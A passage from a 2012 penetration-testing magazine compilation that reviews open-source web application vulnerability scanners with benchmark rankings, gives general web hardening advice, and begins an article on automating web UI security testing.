types of available services, the vulnerability scanners
THE BEST OF 01/2012 Page 185
attempt to exercise vulnerabilities on their targeted
systems. The main goal of the vulnerability scanners
is to provide an essential means of meticulously
examining each and every available network service
on the targeted hosts. These scanners work from a
database of documented network service security
defects, and exercising each defect on each available
service of the target hosts. Most of the commercial and
the open source scanners scan the operating system
for known weaknesses and un-patched software, as
well as configuration problems such as user permission
management defects, or problem with file access
controls. Despite the fact that both network-based and
host-based vulnerability scanners do little to help web
application-level penetration test, they are fundamental
tools for any penetration testing. Good examples for
such tools are: Internet Scanners, QualysGuard, or
Core Impact.
Application Scanners
Most of the application scanners can observe the
functional behaviour of an application, and then attempt
a sequence of common attacks against the application.
Popular commercial application scanners include
Appscan, and WebInspect.
Web application Assessment Proxy
Assessment proxies work by interposing themselves
between the web browsers used by the testers and
the target web server where data can be viewed
and manipulated. Such flexibility adds different tricks
to exercise the application’s weaknesses, and its
associated components. For example, the penetration
testers can view all cookies, hidden HTML fields and
other data used by the web application, and attempt to
manipulate their values to trick the application.
The above penetration testing practice called a black
box testing. Some organizations use hybrid approaches
where the traditional penetration testing along with some
level of source code analysis of the web application is
used. Most of the penetration testing tools can perform
the penetration testing practices, however choosing the
right tool for the job is something vital for the success of
the penetration process, and the accurate results.
The following are some of the common features that
should be implemented within the penetration testing
tools:
• Visibility – The tool must provide the required
visibility for the testing team that can be used as a
feedback, and reporting feature of the test results.
• Extensibility – The tool can be customized, and
it must provide scripting language or plug-in
http://pentestmag.com
 WEB APP PENTESTING
capabilities that can be used to construct cust-
omized the penetration testing.
• Configurability – Having the tool that can be
configurable is highly recommended to ensure the
flexibility of the implementation process.
• Documentation – The tool should provide the right
documentation that can provide clear explanation
for the probes performed during the penetration
testing.
• License Flexibility – The tool that has the flexibility
of use without specific constraints such as a
particular IP range of numbers, and license limits is
a better tool than others.
Security Techniques for Web Apps
Some of the security techniques that can be
implemented within the web application to eliminate
vulnerabilities are:
• Sanitize the data coming from the browser – Any
data that is sent by the browser can never be
trusted (e.g. submitted form data, uploaded files,
cookies data, XML, etc.). If web developers fail to
sanitize the incoming data from unwanted data, it
might lead to vulnerabilities such as SQL injection,
cross site scripting, and other attacks against the
web application.
• Validate data before form submission, and manage
sessions – To avoid Cross Site Request Forgery
(CSRF) that can occur when a web application
accepts form submission data without verifying if
it came from a user web form. It is imperative for
the web application to verify that the user form is
the one that the web application had produced and
served.
• Configure the server in the best possible way
– network administrators have to follow some
guidelines for hardening the web servers. Some of
these guidelines are: Maintain and update proper
security patches, kill all the redundant services and
shutdown unnecessary ports, confine access rights
to folders and files, employ SSH (Secure Shell
network protocol) rather than using telnet or FTP,
and install efficient anti-malware software.
In addition to the above guidelines, it is always
important to implement strong passwords for the web
applications users, and cleaning stored passwords.
Conclusion
A vulnerability assessment is the process of identifying,
prioritizing, quantifying, and ranking the vulnerabilities
in a system where such process determines if there is
THE BEST OF 01/2012 Page 186
a weakness or vulnerabilities in the system subjected
to the assessment. Penetration testing includes all
of the process in vulnerabilities assessment plus the
exploitation of vulnerabilities found in the discovery
phase.
Unfortunately, an all clear result from a penetration
test doesn’t mean that an application has no problems.
Penetration tests can miss weakness such as session
forging and brute-forcing detection, and as such;
implementing security throughout an application’s
lifecycle is imperative process for building secure web
applications.
As automated web application security tools have
matured in the recent years, and over time, automated
security assessment will continue to both reduce any
uncertainty of determination (i.e. false positive results),
and the potential to miss some issues (i.e. false
negatives results).
Both automated and manual penetration testing
can be used to discover critical security vulnerabilities
in web applications. Currently the automated tools
can’t be entirely used as a replacement of the manual
penetration test. However, if the automated tools
are used correctly, organizations can save a lot of
money and time in finding broad range of technical
security vulnerabilities in web applications. The manual
penetration testing can be used to augment the results
of the logical vulnerabilities found as a result of using
the automated testing.
Finally, it is important to point out that over time, the
manual testing for technical vulnerabilities will increase
from difficult to impossible as web applications size, and
the scope of such applications, and their complexity
increase. The fact that many enterprise organizations
will not be able to dedicate the time, money, and the effort
required to assess the thousands of web applications,
will increase the chances of using the automated tools
rather than using the human factor to manually testing
these applications. Also, relying on human efforts to test
for thousands of technical vulnerabilities within these
applications is subject to the human errors, and simply
can’t be trusted.
BRYAN SOLIMAN
Bryan Soliman is a Senior Solution Designer currently working
with Ontario Provincial Government of Canada. He has over
twenty years of Information Technology experience with
Bachelor degree in Engineering, bachelor degree in Computer
Science, and Master degree in Computer Science.
http://pentestmag.com
ITOnlinelearning offers Network Security courses for the beginner through to the professional.
From the CompTIA Security+ through to CISSP, Cer�fied Ethical Hacker (CEH),
Cer�fied Hacking Forensic Inves�gator (CHFI) and Security Analyst/Licensed Penetra�on tester (ECSA/LPT).

Tailored Advice and Discounts

0800-160-1161 or
Please Call one of our Course Advisors for help and Tailored Advice -during office hours
(Mon-Fri 9am-5.30pm)

Telephone: 0800-160-1161
Interna�onal: +44 1795 436969
Email: sales@itonlinelearning.co.uk
support@itonlinelearning.co.uk
Registered Office: 16 Rose Walk, Si�ngbourne, Kent, ME10 4EW
 WEB APP PENTESTING

Open Source
Web Application Security Testing Tools

Needless to say that with cybercrime is on the rise and with the
immense rise in online security threats no business owner should
overlook their website’s security and this is exactly where the
concept of web application security testing tools have gained
immense significance.

I
n fact more than four out of every five businesses
have experienced a data breach still not all business
website owners are aware of website security
threats or how vulnerable their website is without
the necessary protection. And this is where free web
application security testing tools comes in.
It goes without saying, websites are vulnerable to online
security threat and if a website’s server and applications
are not protected from security vulnerabilities, identities,
credit card information, all billions of dollars are at risk.
Quite ideally therefore cost effective security measures
needs to be taken, which might entail moving away from
proprietary client/server applications to web applications
which are not only cheap but at the same time provides
an extensive delivery platform.
In fact, impact of an attack on websites can actually
cause costly and embarrassing disruptions in a
company’s services. And without employing the web
security testing tools business can incur loss. Attackers
are lurking everywhere and they are well aware in fact
aware of the Web application vulnerabilities. Also, their
attempts to get at it are thoroughly assisted by several
important factors. It is the right time to protect your
website with website security audit and with thorough
website security test. A web security testing service will
in fact make sure that the company is fully compliant
with rules and regulations, and is able to respond
quickly to any attacks.
There are some powerful and free web application
security testing tools which can help you to identify any
possible holes. In this article we will explore the choice
of tools available.
Introduction
One of the prominent Information Security consultant
and researcher, Shay Chen has conducted some
extensive testing using these tools and has published
a benchmarking report in http://sectooladdict.blogspot.c
om/2011/08/commercial-web-application-scanner.html
using the project WAVSEP.
Shay Chen’s Project WAVSEP consists of an
evaluation platform which aids in the comparison
of 60 Commercial & Open Source Black Box Web
Application Vulnerability Scanners. This evaluation
platform contains a collection of unique vulnerable web
pages that can be used to test the various properties
of web application scanners. This research is only
valid for estimating the detection accuracy of SQLi &
RXSS exposures, and for counting and comparing the
various features of the tested tools. Shay Chen did not
evaluate every possible feature of each product, only
the categories tested within the research.
The assessment criterion of detecting the accuracy
of SQL Injection is one of the most famous exposures
and the most commonly implemented attack vector in
web application scanners. This because a scanner that

THE BEST OF 01/2012 Page 188 http://pentestmag.com

is not accurate enough will miss many exposures, and
classify non-vulnerable entry points as vulnerable. The
test aimed to assess how good each tool is at detecting
SQL Injection exposures in a supported input vector,
which is located in a known entry point, without any
restrictions that can prevent the tool from operating
properly.
The evaluation was performed on an application that
uses MySQL 5.5.x as its data repository, and thus, will
reflect the detection accuracy of the tool when scanning
similar data repositories.
The SQL Injection Detection Accuracy
Benchmark Results
The next assessment criterion was the detection
accuracy of Reflected Cross Site Scripting. This is a
common exposure which is the second most commonly
implemented feature in web application scanners.
The Reflected XSS Detection Accuracy Benchmark
Results.
WebSecurify (Windows, Linux, Mac OS X)
WebSecurify is a very powerful web application and
website security testing environment designed from the
ground up to provide the best combination of automatic
and manual vulnerability testing technologies.
WebSecurify allows the user to either automate the
process of Web testing or do it all manually.
It works by automating the browser operations and the
user just has to specify the target to check for security
Figure 1. The SQL Injection Detection Accuracy Benchmark Results
THE BEST OF 01/2012
vulnerabilities. A combination of multiple technologies is
used to perform the tests. This software is constantly
reviewed and updated by experts who have hands
on experience in Web security testing and research.
Therefore WebSecurify promises to be a reliable
solution to find the loopholes related to Web security.
WebSecurify has the following remarkable features:
Test Result generation
WebSecurify is capable of generating test results at any
level of detail. Also the test results can be obtained in
any localized language/ format. Customization options
are available to decide the level of detail and other
features of the report.
Intuiveness
The application is intuitive enough to find the common
flaws by itself. Some such vulnerabilities include, SQL
Injection, Cross Site Scripting, Cross Site Requests
Forgery, session security and information leakage
problems. Apart from this the user can also configure
the tool to test for other inconsistencies using add-ons
and plugins. So this implies that the application can also
be modified according to the business requirement and
security standard expected.
Multi platform, Multi format testing application
WebSecurify adjusts according to the Web application
targets and optimizes itself to produce efficient test
results. Its core testing engine and cutting edge
Figure 2. The Re�ected XSS Detection Accuracy Benchmark Results
Page 189 http://pentestmag.com
 WEB APP PENTESTING
technologies employed, make it one of the finest tools
available for Web application security. The testing
application works on operating systems like Windows,
MAC OS X, and Linux. Apart from this it can also operate
on various modern browsers and Virtual machines,
practically making it platform independent.
Easy to use and Upgrade
Thanks to a simple design and functionality this
application is easy to use. Every single feature of the
application can be extended or customized with the
help of customization extensions and plugins.
In Shay Chen’s new security scanner group test
WebSecurify ranked 10th out of 38 in the (free tool) SQL
Injection Detection Accuracy test, and managed 12th in
the Reflected XSS Detection Accuracy benchmark,
where the program performed considerably better than
some big names (Nessus was 34th).
Wapiti (Windows, Linux, Mac OS X)
Wapiti is written in Python and uses a Python library
with all the basic functionalities of a scanner and allows
you to audit the security of your Web applications.
Wapiti is a vulnerability scanner for Web applications
that search for the vulnerabilities like XSS, SQL and
XPath injections, file inclusions, command execution,
LDAP injections, and CRLF injections
Wapiti finds unknown vulnerabilities in web
applications. Wapiti basically performs black-box scans,
where it only study the source code of the application
and scan the webpage’s of the deployed webapp,
looking for scripts and forms where it can inject data.
Once it gets this list, Wapiti acts like a fuzzer, injecting
payloads to see if a script is vulnerable. Fuzzing is
a method for testing of applications and runs in an
automated manner. This is the transfer of random data
and verifying what the outcome of this action. The result
Figure 3. Websecurify screenshot
THE BEST OF 01/2012 Page 190
may be to exclude the application, server error or the
lack of an exception handler.
Wapiti prints a warning every time it founds a script
allowing HTTP uploads. A warning is also issued when
a HTTP 500 code is returned (useful for ASP/IIS)
Wapiti can detect the following vulnerabilities:
• File Handling Errors (Local and remote include/
require, fopen, readfile…)
• Database Injection (PHP/JSP/ASP SQL Injections
and XPath Injections)
• XSS (Cross Site Scripting) Injection
• LDAP Injection
• Command Execution detection ( eval(), system(),
passtru()…)
• CRLF Injection (HTTP Response Splitting, session
fixation…)
Shay Chen’s security scanner group test ranks Wapiti
as the number one tool for SQL Injection Detection
Accuracy test, but only managed 26th in the Reflected
XSS Detection Accuracy benchmark.
Skip�sh (Windows, Linux, Mac OS X)
Skipfish is an active Web application security
reconnaissance tool. It prepares an interactive sitemap
for the targeted site by carrying out a recursive crawl
and dictionary-based probes. The resulting map is then
annotated with the output from a number of active (but
hopefully non-disruptive) security checks. The final
report generated by the tool is meant to serve as a
foundation for professional Web application security
assessments.
Skipfish works from dictionary files with the .wl
extention. According to Skipfish these dictionaries
are of critical importance to the quality of your scans.
Each entry in the dictionary is either an extension (e)
or wordlist (w). The dictionaries are used for when a
Figure 4. Wapiti vulnerabilities report
http://pentestmag.com
new directory, or a file-like query or POST parameter is
discovered, the scanner attempts passing all possible
values to discover new files, directories, etc.
The scan’s result provides a huge directory of files
that are fed into index.html. When called by the Web
browser, this report turns out to be easily readable and
comes with pointy-clicky goodness, thanks to a plethora
of JavaScript (so be sure you’re allowing it to be seen).
The report lists each page that was interrogated during
the scan and documents server responses (including
errors and successful replies), identifies possible attack
vectors (such as password entry fields to brute force),
along with other useful tidbits for each. Following
the breakdown by page, SKIPFISH provides a list of
document types (html, js, PDF, images, and various
text formats) and their URLs. The report closes with
an overview of various issues discovered during the
scan, complete with severity ratings and the URL of the
finding.
Skipfish runs through a set of tests which detect high,
medium and low risk flaws:
High risk flaws
Includes server-side SQL injections like blind vectors,
numeric parameters, server-side shell command
injection, server-side XML/XPath injection, integer
overflow vulnerabilities, and location accepting HTTP
PUT.
Medium risk flaws
Includes Stored and Reflected XSS vectors in document
body Stored, Reflected XSS vectors via HTTP redirects,
Stored and Reflected XSS vectors via HTTP header
splitting, Directory traversal, assorted file POIs, Attacker-
supplied script and CSS inclusion vectors and more.
Low risk issues
This includes directory listing bypass vectors,
redirection to attacker-supplied URLs, attacker-supplied
embedded content, external untrusted and embedded
content, mixed content on non-scriptable subresources
(optional), HTTP credentials in URLs.
Internal warnings
Includes failed resource fetch attempts, exceeded
crawl limits, failed 404 behavior checks. IPS filtering
detected, unexpected response variations, seemingly
misclassified crawl nodes.
Non-specific informational entries
Includes General SSL certificate information,
Significantly changing HTTP cookies, changing server,
via or X-… headers, new 404 signatures, resources
THE BEST OF 01/2012
that cannot be accessed, resources requiring HTTP
authentication, broken links, server errors, all external
links not classified otherwise, all external e-mails, all
external URL redirectors, links to unknown protocols,
form fields that could not be auto-completed, password
entry forms (for external brute-force).
The key features are:
High speed
Written in pure C with an optimized HTTP handling and
a minimal CPU footprint.
Ease of use
Supports a variety of quirky web frameworks and mixed-
technology sites, with automatic learning capabilities,
on-the-fly wordlist creation, and form auto-completion.
Cutting-edge security logic
Incorporates high quality, low false positive, differential
security checks.
Skipfish comes with low false positives, inequality
confidence checks that have been efficient of spotting
a accumulation of ethereal flaws, incorporating blind
injection vectors.
Shay Chen’s security scanner group test ranks
Skipfish as 18th for SQL Injection Detection Accuracy
test, and managed a 15th in the Reflected XSS
Detection Accuracy benchmark.
Vega (Windows, Linux, Mac OS X)
Vega is a GUI-based, multi-platform, free and open
source Web security scanner that can be used to find
instances of SQL Injection, Cross-Site Scripting (XSS),
and other vulnerabilities in your Web applications. Vega
also includes an intercepting proxy for interactive Web
application debugging. Vega attack modules are written
in Javascript, users can easily modify them or write their
own.
Figure 5. Skip�sh screenshot
Page 191 http://pentestmag.com
 WEB APP PENTESTING
Vega runs in two modes of operation: as an automated
scanner, and as an intercepting proxy.
The automated scanner automatically crawls websites,
extracting links, processing forms, and running modules
on possible injection points it discovers. These modules
can do things like automatically submit requests that
fuzz parameters, for example, to test for things like
Cross-Site Scripting (XSS) or SQL Injection.
The intercepting proxy allows for detailed analysis
of browser-application interaction. When enabled, the
proxy listens on localhost as a proxy server. When a
browser uses the Vega proxy, requests and responses
are visible to Vega. Vega can be told to set breakpoints,
interception criteria for outgoing requests (from the
browser) or incoming responses (from the server).
These requests and responses are held in a state
where they are editable until released.
Vega supports modules that process responses,
typically looking for information (grep modules).
Response processing modules can process responses
received by either the scanner or the proxy. Beneath
the hood is a database where information, including
requests and responses, can be shared among
components.
Both types of modules are capable of generating
alerts that incorporate a combination of dynamic
content from the module, and static content in an XML
file specified by the alert.
The Vega crawler analyzes pages, extracting URIs
and processing forms. Vega decomposes the path
structure of URIs and analyzes them to determine if
they are directories or files. Each path part is stored
with identified type information, as a path state node,
in a tree-like data structure. URIs that accepts GET
or POST parameters are further decomposed into
derivative path state nodes, one for each parameter,
and each with a parameter index.
Basic modules that have been selected to run are run
once on each path state node.
Shay Chen’s security scanner group test ranks Vega
a very good 7th place for SQL Injection Detection
Accuracy test, and is rated a good 8th in the Reflected
XSS Detection Accuracy benchmark.
OWASP Zed Attack Proxy (Windows, Linux,
Mac OS X)
OWASP ZAP is a fork of the once favored Paros Proxy,
which has not been updated since August 2006. ZAP
is the result of Simon Bennetts’ hard work, though
he’s got help from co-lead Axel Neumann and many
contributors.
As an official OWASP project, ZAP enjoys
extensive use and development support as an easy
THE BEST OF 01/2012 Page 192
to use integrated penetration testing tool for finding
vulnerabilities in Web applications.
ZAP is intended to provide everything that you need
to perform a penetration test on a Web application. If
you are new to Web application security then it might
be the only security tool you need. However, if you’re
an experienced penetration tester be sure to include it
as one of the many tools in your toolbox. As a result,
the development team is trying to make it as easy
as possible to integrate ZAP with other tools. They
provide a way to invoke other applications from within
ZAP passing across the current context. In version
1.3 they introduced an API which allows the core ZAP
functionality to be invoked by a REST API, and will be
extended to cover even more of ZAP’s features in future
releases. This is an ideal way for other applications
to directly drive ZAP, and can be used when ZAP is
running in headless mode (i.e. without the UI).
As such, the brute force/forced browsing support is
provided via DirBuster and fuzzing makes use of the
JBroFuzz libraries (both OWASP projects).
Amongst the more advanced features that users
might not be aware of is that ZAP keeps track of all of
the anti-CSRF tokens it finds. If fuzzing a form with an
anti CSRF-token in it, ZAP can regenerate the token
for each of the payloads you fuzz with. There’s also
an experimental option that allows this to be turned on
when using the active scanner as well. I can say that
quality CSRF testing is not commonplace among ZAP’s
Web application testing contemporaries.
In addition to the aforementioned Security Regression
Tests for developers, the OWASP ZAP project offers
ZAP Web Application Vulnerability Examples, or ZAP
WAVE. ZAP WAVE includes active vulnerabilities
Figure 6. Vega screenshot
http://pentestmag.com
such as cross-site scripting and SQL Injection as well
as passive vulnerabilities including three types of
information leakage and two session vulnerabilities.
There are also pending false positives that are not yet
ready for primetime.
The developers recommend that you explore the
target app with ZAP enabled as a proxy, and touch as
much of it as possible before spidering. Doing so helps
ZAP find more vulnerabilities as you may cross paths
with error messages, etc.
One of my favorite ZAP features (there are many)
is the fuzzer. The fuzzer, like the scanner, includes
functionality, which causes ZAP to automatically
regenerate the tokens when required. In the
understanding that fuzzing is the art of submitting a
great deal of invalid or unexpected data to a target, you
can look for variations in results such as response code
(200 OK) and response times. Strings in a response can
now be fuzzed to try to find vulnerabilities. Anti CRSF
tokens can be detected and automatically regenerated
when fuzzing. This functionality is based on code from
the OWASP JBroFuzz project.
In Shay Chen’s security scanner group test ZAP
fared an excellent 4th place for SQL Injection Detection
Accuracy test, but only managed a 13th in the Reflected
XSS Detection Accuracy benchmark.
W3AF (Windows, Linux, Mac OS X)
W3AF is a Web application attack and audit framework
written in Python with a plugin based model. The project
has more than 130 plugins, which check for SQL
injection, cross site scripting (xss); local and remote file
inclusion and much more.
W3AF has many plugins that are divided into attack,
audit, exploit, discovery, evasion, bruteforce, mangle
and a few others. The code is well commented and
written in python so writing your own exploits and plugins
should be trivial. It attempts to find vulnerabilities in your
Web application using known attack methods. There is
Figure 7. ZAP screenshot
THE BEST OF 01/2012
a vast amount of plugins that will help audit your Web
application for the usual vulnerabilities like SQL and MX
Injection, Cross Siting and so on. The tool can also be
used to discover content on you web application with
several of it’s plugins.
You can use your knowledge of your website to pick
which discovery methods are best. For instance if your
site doesn’t have an IDS or WAF then using the afd
would waste time and add un-useful information to your
report.
There are a few other plugin groups available that may
be useful when you are auditing your web application.
The mangle plugin called sed allows for manipulation
of http requests and responses. The evasion plugins
allow for evasion of WAFs, IDS/IPS, and hard coded
checks of input. The bruteforce plugins allow for brute
forcing of authentication into the web application. Lastly
the grep plugins allow for string searches of the web
application.
A great resource to learn more about these plugins is
located at the w3af website.
W3AF is a technical tool for Web application
penetration testers. This is not a point and click tool, it
requires getting your hands dirty and understanding the
different plugins to really get some value from it.
In Shay Chen’s security scanner group test W3AF
came at 13th place for SQL Injection Detection Accuracy
test, and only managed a 14th in the Reflected XSS
Detection Accuracy benchmark.
Watobo (Windows, Linux, Mac OS X)
This tool was presented at the recently held OWASP-
Stuttgart in April 2010! The Web Application Toolbox
has been programmed in such a way so as to enable
security professionals help perform highly efficient
(semi-automated) web application security audits.
Figure 8. W3AF screenshot
Page 193 http://pentestmag.com
 WEB APP PENTESTING
The author Mr. Andreas Schmidt, is convinced that
the semi-automated approach is the best way to
perform an accurate audit and to identify most of the
vulnerabilities.
The working of this tool is similar to WebScarab, Paros
or Burp in a sense. It has a good GUI and also supports
a command line input. Also, since it is semi-automated,
it does not actually need to be adjusted for optimum
results and correctly configured. Human intervention
will obviously do well over a completely automated
process. It can perform two types of checks – active
and passive. Passive checks analyze data for normal
browsing, including but not limited to cookie security
related operations. Active checks generate questions
that can be used for while say – SQL injection checks or
other checks. Other than these, no additional requests
are sent to the application!
What really bought us in for this tool is session-
management which any free tool lacks! Burp
Professional includes it, but not in thefree version. This
is the same with NetSparker. Also, these tools often
have only limited automated functions. Customizing
paid tools is not easy either. Not this one. Another good
thing about this tool is that it can be quickly adapted to
new requirements. In short with this tool, you can enjoy
benefits of both worlds manual and automatic tools
combined!
Functions of WATOBO:
• Supports session management.
• Detects logout and automatically takes a re-login.
• Supports filter functions
• Inline-Encoder/Decoder
• Includes vulnerability scanner
• Quick-scan for targeted scanning a URL
• Full-scan to scan a whole session
• Manual request editor with special functions
• Session information is updated
• Login can be done automatically
Figure 9. WATABOO screenshot
THE BEST OF 01/2012 Page 194
• Transcoder
• URL, Base64, MD5, SHA-1
• Interceptor
• Fuzzer
• Free, Stable and Open source!
• Script code easy to understand
• Easy to extend / adapt
• In real-world scenarios tested and developed
• Speed / usability
• Active and Passive checks
This tool has been programmed in FxRuby which some
people might not be open to work with.
Watobo enables security professionals to perform
highly efficient, semi-automated Web application
security audits and is a good tool for discovering certain
misconfigurations in addition to other audit functions for
the likes of XSS and SQLi.
In Shay Chen’s security scanner group test Watobo
fared a good 9th place for SQL Injection Detection
Accuracy test, and only managed a 19th in the Reflected
XSS Detection Accuracy benchmark.
Arachni (Linux, Windows/Cygwin)
Arachni is a fully automated system which tries to
enforce the fire and forget principle. As soon as a
scan is started it will not bother you for anything nor
require further user interaction. Upon completion, the
scan results will be saved in a file which you can later
convert to several different formats (HTML, Plain Text,
XML, etc.)
The project was initially started as an educational
exercise though it has since evolved into a powerful
and modular framework allowing for fast, accurate and
flexible security/vulnerability assessments. More than
that, Arachni is highly extend-able allowing for anyone
to improve upon it by adding custom components and
tailoring most aspects to meet most needs.
As soon as a scan is started it will not bother you
for anything nor require further user interaction. Upon
completion, the scan results will be saved in a file
which you can later convert to several different formats
(HTML, Plain Text, XML, etc.).
Figure 10. Arachni screenshot
http://pentestmag.com
 References
• Commercial Web Application Scanner Benchmark, Shay Chen http://sectooladdict.blogspot.com/2011/08/commercial-web-ap-
plication-scanner.html
• Project WAVSEP, Shay Chen http://code.google.com/p/wavsep/
• WebSecurify http://www.websecurify.com/
• Wapiti http://wapiti.sourceforge.net/
• Skip�sh http://code.google.com/p/skip�sh/
• Vega http://www.subgraph.com/products.html
• OWASP ZAP https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
• W3AF http://w3af.sourceforge.net/
• Watobo http://watobo.sourceforge.net
• Arachni http://arachni.segfault.gr
Arachni uses various techniques such as taint-
analysis, fuzzing, differential analysis, and timing/delay
attacks along with novel technologies like rDiff analysis
and modular meta-analysis developed specifically
for the framework to compensate for the widely
heterogeneous environment of web applications.
One of the biggest advantages of Arachni is its highly
modular nature. The framework can be extended
indefinitely by the addition of components like path
extractors, modules, plug-ins, or even user interfaces.
Arachni is not only meant to serve as a security
scanner but also as a platform for any sort of black
box testing or data scraping; full-fledged applications
can be converted into framework plug-ins so as
to take advantage of the framework’s power and
resources. Arachni’s flexibility goes so far as to enable
system components (like plug-ins) to create their own
component types and reap the benefits of a modular
design as well.
Arachni was the only (from a long list of commercial
and FOSS systems) that hit 100% on both XSS and
SQLi tests in the WAVSEP benchmark.
Conclusion
Like chemists, carpenters and doctors, those of us
working in IT need good tools if we’re expected to do a
good job. When dealing with application security, good
security testing tools will always set the professionals
apart from the amateurs. In fact, the quality of your tools
for performing a site security audit will have a direct
impact on the number of vulnerabilities you discover
and the overall success of your testing.
Many have argued – myself included – that you cannot
rely on tools alone to find all security vulnerabilities.
This is absolutely correct. In all but the most basic
security checks, you have to rely on experience and
technical knowledge to root out the less-than-obvious
vulnerabilities that black-box scanners simply cannot
find. That said manual testing alone is just too time
consuming, limited and, for many, downright difficult. A
good balance of tools and manual analysis is needed.
THE BEST OF 01/2012
The major issue here is that selecting ineffective
security testing tools can be a costly venture. I’ve
burned thousands of dollars and countless hours on
tools that seemed like a good fit based on their tricked
out websites and fancy marketing slicks. But talk is
cheap so buyers beware. You have to take these tools
for a spin to see if they’re going to be a good fit based
on YOUR style inside YOUR environment, and based
on YOUR business needs.
Whether you’re doing the actual work or just want to
make sure your IT and security staff members are using
what’s best for the organization, the simple truth is that
good security audit tools can and will make a difference.
Always remember that there is no one best tool but if
you’re smart about your approach you shouldn’t have
to spend a lot of money to get the job done right. If you
invest a relatively small amount time researching, asking
prospective vendors tough questions and actually trying
the tools before you buy them, then you can’t lose.
When you choose and use good tools, you’ll know it.
Amazingly, you’ll minimize your time and effort installing
them, running your tests, reporting your results
– everything from start to finish. Most importantly,
with a good web vulnerability scanner you’ll be able
to maximize the number of legitimate vulnerabilities
discovered to help reduce the risks associated with your
information systems. At the end of the day and over the
long haul, this will add up to considerable business
value you can’t afford to overlook.
VINODH VELUSAMY
Vinodh Velusamy is an ISTQB certi�ed professional currently
working as Quality Assurance Specialist at Verizon’s Security
Solution Group. He has experience in software testing
for more than 10 years and has been involved in software
development for more than 15 years. He has authored
articles on open source software tools in online tech websites
such as freshmeat.net. He has also presented in software
testing conferences such as Software and Systems Quality
Conference, Dusseldorf, Germany and ICSSEA Workshop on
System Testing and Validation, Paris, France.
Page 195 http://pentestmag.com
 WEB APP PENTESTING
A Chance
To Ease Automated Web Site Testing
Do We Need Yet Another Language?
Lets face it. Testing a web application is a tedious task. Also,
the requirements for a perfect tester are almost impossible to
meet. Such person should be thorough, resistant to boredom
of numerous repetitions and yet creative to invent new testing
scenarios. It would be hard to justify saying such persons don’t
exist, yet they are extremely hard to find.
C
reative people tend to be bored easily, while
seriously dependable personality often do not
leave much space for creativeness.
But we do have another resource that can be utilized
for testing: computers. Computers running testing
programs are almost ultimately focused on completing
the requested routine as many times as needed. At
the same time they posses almost negligible creativity
when it comes to inventing new testing scenarios.
Considering these factors, the choice seems quite
obvious. We can utilize automated/computer testing for
the routine part of the tests, while the testing team focuses
on inventing new scenarios. This is indeed the setup the
industry has implemented and has been carrying out
for quite some time. Taking it a step further, there is a
number of software development methodologies that
implement so called test driven development . In these
methodologies, automated tests gain additional focus,
being prepared before the actual development of the
target application takes place. Supposedly, this gives the
application developers tools to instantly verify the results
of their work, with the ultimate goal of improved overall
quality of the produced software.
Yet as usual, the real world proves to be more
challenging that initially anticipated. Although automated
tests are quite often used for testing core application
functionality (as unit or functional tests), they are rarely
implemented for testing the user interface (UI) level.
THE BEST OF 01/2012 Page 196
The primary reasons for that, being the complexity of
the output and its volatility, both being addressed later
on in this article. As a result, testing an application at the
UI level, often referred to as ‘beta testing’ is still mainly
handled by human teams.
This also applies to web applications’ security tests,
which are performed usually by a dedicated group of
security specialists, trying to provide the application
with such data that will cause its malfunction, exposing
a vulnerability (an illustrative simplification of course).
Security testing is actually an amplified issue of the
mundaneness vs creativity problem described above.
While it often requires lot of knowledge, intelligence
and cunning to come up with a certain set of parameter
values that could break the application, there may also
a lot of dull work involved, especially if the application
logs the user out when it recognizes an attack attempt.
In such case the tester needs to log in again and often
go through a few forms until he gets to the point when
the next attempt can be performed. And then – rinse
and repeat... often too many times.
It would certainly help to automate at least part of the
testing, e.g. inputting login data or clicking through web
pages to get to the desired location. It would also be
nice to have an automated system that could recognize
whether while fuzzing [1] parameters, application
entered some unusual state – which may be identified as
a change of the resultant web page. Unsurprisingly, there
http://pentestmag.com
are quite a few tools already that have been developed to
help with automated web testing. Some examples could
be: Selenium [2], Watir [3] or Perl Mechanize [4]. They
basically fall into two categories. The legacy approach is
based on directly parsing of the HTTP data received from
the server. This requires a lot of effort from the test team to
utilize, since the average size of a web application’s page
is surprisingly big (see below). The most recent approach
is based on simulating the behavior of user/browser,
either providing set data for certain input fields or replying
a list of actions performed in the browser (Selenium). Still
we cannot really see a wide adoption of these. Why is it
so? – one may ask, especially considering the benefits of
automated testing. Well, lets have a look at a single, yet
quite typical scenario, or:
Why Is The Web Page Code So Large And
Complex?
Consider the login page of gmail.com mail service, whose
screen shot is presented below in Figure 1. It consists
of less than two dozens of objects visible to the user
(images, links, form fields) plus some textual information.
There aren’t too many people brave enough to call it
complicated, or overloaded with content. Now, lets look
at the source HTML of the page – its approx. 56kB (at
the time of writing). Over 50 thousands of characters to
define this page – if printed in form of a book, such book
will need to have around 30-50 pages. And this is just a
login page to a mail service. But maybe gmail is somehow
special, lets look at the others. News site for starters:
bbc.com (100kB), onet.pl (113.kB), cnn.com (87kB)
– there is much more information in these pages, lots of
images, but in HTML the images are not embedded in the
code – merely referenced. Lets look at just login pages
(which should be relatively simple): barclays.com (22kB),
facebook.com (7kB), amazon.com (56kB). Facebook’s
login page is surprisingly small (compared to others),
but its safe to assume it’s size was fine tuned to the last
character to limit the bandwidth required by the enormous
Figure 1. Gmail login web page
THE BEST OF 01/2012 Page 197
numbers of users logging every minute into the service.
Considering these examples, it seems safe to assume
that when commercial web sites are considered, an
average size of the HTML describing it will be counted in
tens of kilobytes. This is one of the factors that contribute
to the difficulty of automated testing, effectively hindering
all test methods that are based on analyzing the HTML
received from the server. Its importance is not however
fully acknowledged until we consider the second difficulty
factor, which is the possibility of different HTML code be
rendered into identical pages presented to the viewer.
HTML provides a number of methods to arrange the
layout of the page. Use of tables is currently considered
obsolete but is still present in a number of web sites,
the primary tool however is the <div> tag and its ‘style’
attribute. The style properties available for the tag allow
to achieve the desired placement of the elements in
almost unlimited number of ways. At the same time
it gives almost no chance to guess in advance the
placement of the elements in the web page. Until of
course the page is actually rendered in a browser
window. These issues make it extremely difficult to
utilize automated scripts for pages’ processing and
navigation.
Lets look at an artificial, yet reasonably close to real-
world scenario: assume we have a financial website
with a page listing available reports. After choosing
the report we are allowed to enter additional report
parameters (start/end date, additional report criteria).
Due to the application design, the user has to go
through the first web page (report selection) first, before
additional parameters can be changed. If the tester
wants to examine a particular report – and its additional
parameters for vulnerabilities, he/she needs to click
through these two pages many times in order to check
a range of parameters and cannot just supply a fuzzed
set requests as the service will reject them. Although it
seems possible at the first glance to write an automated
script that will always select the requested report (lets
assume its the second form in the page’s HTML code),
such script will only work for this certain release of the
